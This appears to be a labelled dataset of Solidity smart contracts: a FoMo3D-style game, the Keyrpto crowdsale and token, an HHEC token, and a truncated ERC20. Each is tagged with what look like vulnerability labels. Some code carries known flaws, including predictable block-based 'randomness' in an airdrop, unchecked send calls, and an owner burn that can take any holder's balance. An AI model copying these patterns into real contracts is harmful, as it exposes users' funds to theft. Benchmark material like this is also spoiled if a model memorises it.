uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_p3d = _p3d.add(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
reward.send(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
_p3d = _p3d.add(_com);
uint256 _long = _eth / 100;
otherF3D_.send(_long);
uint256 _aff;
uint256 _aff2;
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != 0 && plyr_[_affID2].name != "") {
_aff = _eth.mul(10) / 100;
_aff2 = _eth.mul(5) / 100;
plyr_[_affID2].aff = _aff2.add(plyr_[_affID2].aff);
} else {
_aff = _eth.mul(15) / 100;
}
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
reward.send(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(19)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = _otherF3D;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 2,226 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract KeyrptoToken is MintableToken, Pausable {
string public constant name = "Keyrpto Token";
string public constant symbol = "KYT";
uint8 public constant decimals = 18;
uint256 internal constant MILLION_TOKENS = 1e6 * 1e18;
address public teamWallet;
bool public teamTokensMinted = false;
uint256 public circulationStartTime;
event Burn(address indexed burnedFrom, uint256 value);
function KeyrptoToken() public {
paused = true;
}
function setTeamWallet(address _teamWallet) public onlyOwner canMint {
require(teamWallet == address(0));
require(_teamWallet != address(0));
teamWallet = _teamWallet;
}
function mintTeamTokens(uint256 _extraTokensMintedDuringPresale) public onlyOwner canMint {
require(!teamTokensMinted);
teamTokensMinted = true;
mint(teamWallet, (490 * MILLION_TOKENS).sub(_extraTokensMintedDuringPresale));
}
function unpause() onlyOwner whenPaused public {
if (circulationStartTime == 0) {
circulationStartTime = now;
}
super.unpause();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(validTransfer(msg.sender, _value));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(validTransfer(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function validTransfer(address _from, uint256 _amount) internal view returns (bool) {
if (_from != teamWallet) {
return true;
}
uint256 balanceAfterTransfer = balanceOf(_from).sub(_amount);
return balanceAfterTransfer >= minimumTeamWalletBalance();
}
function minimumTeamWalletBalance() internal view returns (uint256) {
if (now < circulationStartTime + 26 weeks) {
return 300 * MILLION_TOKENS;
} else if (now < circulationStartTime + 1 years) {
return 200 * MILLION_TOKENS;
} else {
return 0;
}
}
function burn(address _from, uint256 _value) external onlyOwner {
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
}
}
contract KeyrptoCrowdsale is FinalizableCrowdsale {
uint256 internal constant ONE_TOKEN = 1e18;
uint256 internal constant MILLION_TOKENS = 1e6 * ONE_TOKEN;
uint256 internal constant PRESALE_TOKEN_CAP = 62500000 * ONE_TOKEN;
uint256 internal constant MAIN_SALE_TOKEN_CAP = 510 * MILLION_TOKENS;
uint256 internal constant MINIMUM_CONTRIBUTION_IN_WEI = 100 finney;
mapping (address => bool) public whitelist;
uint256 public mainStartTime;
uint256 public extraTokensMintedDuringPresale;
function KeyrptoCrowdsale(
uint256 _startTime,
uint256 _mainStartTime,
uint256 _endTime,
uint256 _rate,
address _wallet) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
require(_startTime < _mainStartTime && _mainStartTime < _endTime);
mainStartTime = _mainStartTime;
KeyrptoToken(token).setTeamWallet(_wallet);
}
function createTokenContract() internal returns (MintableToken) {
return new KeyrptoToken();
}
function updateRate(uint256 _rate) external onlyOwner {
require(_rate > 0);
require(now < endTime);
rate = _rate;
}
function whitelist(address _address) external onlyOwner {
whitelist[_address] = true;
}
function blacklist(address _address) external onlyOwner {
delete whitelist[_address];
}
function buyTokens(address _beneficiary) public payable {
require(_beneficiary != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
require(validPurchase(tokens, _beneficiary));
if(!presale()) {
setExtraTokensMintedDuringPresaleIfNotYetSet();
}
if (extraTokensMintedDuringPresale == 0 && !presale()) {
extraTokensMintedDuringPresale = token.totalSupply() / 5;
}
weiRaised = weiRaised.add(weiAmount);
token.mint(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
forwardFunds();
}
function validPurchase(uint256 _tokens, address _beneficiary) internal view returns (bool) {
uint256 totalSupplyAfterTransaction = token.totalSupply() + _tokens;
if (presale()) {
bool withinPerAddressLimit = (token.balanceOf(_beneficiary) + _tokens) <= getRate().mul(20 ether);
bool withinTotalSupplyLimit = totalSupplyAfterTransaction <= PRESALE_TOKEN_CAP;
if (!withinPerAddressLimit || !withinTotalSupplyLimit) {
return false;
}
}
bool aboveMinContribution = msg.value >= MINIMUM_CONTRIBUTION_IN_WEI;
bool whitelistedSender = whitelisted(msg.sender);
bool withinCap = totalSupplyAfterTransaction <= tokenSupplyCap();
return aboveMinContribution && whitelistedSender && withinCap && super.validPurchase();
}
function whitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function getRate() internal view returns (uint256) {
return presale() ? rate.mul(5).div(4) : rate;
}
function presale() internal view returns (bool) {
return now < mainStartTime;
}
function hasEnded() public view returns (bool) {
bool capReached = token.totalSupply() >= tokenSupplyCap();
return capReached || super.hasEnded();
}
function tokenSupplyCap() public view returns (uint256) {
return MAIN_SALE_TOKEN_CAP + extraTokensMintedDuringPresale;
}
function finalization() internal {
setExtraTokensMintedDuringPresaleIfNotYetSet();
KeyrptoToken(token).mintTeamTokens(extraTokensMintedDuringPresale);
token.finishMinting();
token.transferOwnership(wallet);
}
function setExtraTokensMintedDuringPresaleIfNotYetSet() internal {
if (extraTokensMintedDuringPresale == 0) {
extraTokensMintedDuringPresale = token.totalSupply() / 5;
}
}
function hasPresaleEnded() external view returns (bool) {
if (!presale()) {
return true;
}
uint256 minPurchaseInTokens = MINIMUM_CONTRIBUTION_IN_WEI.mul(getRate());
return token.totalSupply() + minPurchaseInTokens > PRESALE_TOKEN_CAP;
}
} | 1 | 3,679 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract HHEC is MintableToken {
string public name = "Heptapolis Humanitarian Energy Coin";
string public symbol = "HHEC";
uint8 public decimals = 18;
uint256 public maxSupply = 1000000000 * 10 ** uint256(decimals);
modifier canMint() {
require(!mintingFinished);
require(totalSupply_< maxSupply);
_;
}
} | 1 | 2,818 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
